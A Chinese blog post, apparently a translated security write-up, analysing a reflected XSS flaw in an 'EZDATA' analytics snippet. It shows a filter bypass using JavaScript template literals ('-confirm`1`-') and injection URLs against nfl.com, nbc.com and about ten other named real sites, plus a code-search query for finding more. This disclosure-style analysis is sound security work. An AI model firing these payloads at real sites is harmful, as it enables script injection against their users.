XSS探究:不安全的EZDATA脚本

在写这篇文章的时候,我并不清楚该脚本的作者是谁,但有很多的网站有这个漏洞。在这篇文章中,我将对"EZDATA"这个不安全的脚本进行分析。

我是在浏览Alexa top 500网站时发现的这个脚本。

有漏洞的JavaScript脚本如下:

<script>
  ezQuery(document).ready(function() {
   //get here
   EZDATA.trackGaEvent('Search','Request','可控点');
  });
</script>

接下来在真实的案例中看下这个脚本

(1)NFL.COM

该网站在Alexa全球网站排名中的排名为261。如果你在该网站的搜索框中输入无害的探测字符(比如xxxxxxxx'yyyyy</img),链接如下:

<a href="http://search.nfl.com/search?query=\" xxxxxxxx'yyyyy<=">http://search.nfl.com/search?query="xxxxxxxx'yyyyy</img

然后查看源码如下

你可以看到用户的输入被单引号(‘)所包裹,而对用户提交的单引号(‘)却没有过滤和编码,还有你也可以看到<被过滤了,所以类似 </script><script>confirm(1)</script>这样的攻击方式就失效了。那么我能想到的下一个payload就是

'-confirm(1)-'

链接如下:

http://search.nfl.com/search?query='-confirm(1)-'

我期待这个payload能够生效,然而并没有。原因如下图

XSS探究:不安全的EZDATA脚本_第1张图片

从图中可以看到括号()被过滤了,所以才导致payload失效。

ECMAScript 6(http://tc39wiki.calculist.org/es6/)提供了一个叫multi-ine template string(https://developer.mozilla.org/enUS/docs/Web/JavaScript/Reference/template_strings)的属性,在这个属性的帮助下,可以构造不需要括号()的payload,用反引号“来替换括号(),所以payload变成:

'-confirm`1`-'

所以最终的链接如下:

http://search.nfl.com/search?query='-confirm`1`-'

结果如下

XSS探究:不安全的EZDATA脚本_第2张图片

(2)NBC.COM

这个网站用的也是EZDATA这个脚本,所以链接如下:

http://www.nbc.com/search?q='-confirm`1`-'

结果如图

XSS探究:不安全的EZDATA脚本_第3张图片

(3)其他网站

通过在NerdyData(https://search.nerdydata.com/code)这个网站进行搜索,链接如下:

https://search.nerdydata.com/code/?and_code[]=//get+here+EZDATA.trackGaEvent&limit=0,10&rank_min=1&rank_max=1000001

发现有61个网站使用该脚本,部分网站

http://search.pionline.com/search?q=%27-confirm%601%60-%27

http://media.kisw.com/search?q=%27-confirm%601%60-%27


http://media.wben.com/search?q=%27-confirm%601%60-%27


http://media.wwl.com/search?q=%27-confirm%601%60-%27


http://media.989therock.com/search?q=%27-confirm%601%60-%27


http://media.endonline.com/search?q=%27-confirm%601%60-%27


http://media.1057fmthefan.com/search?q=%27-confirm%601%60-%27


http://media.espn929.com/search?q=%27-confirm%601%60-%27


http://search.msgvarsity.com/search?search=y&q=%27-confirm%601%60-%27

http://video.ramp.com/search?q=%27-confirm`1`-%27

尾记:目前这些应该都已经修复,这篇文章只是第一弹,该博客作者以分析+实例演示的方法为我们展示了XSS的很多可能出现形式,后续还会更精彩,敬请期待。

你可能感兴趣的:(XSS探究:不安全的EZDATA脚本)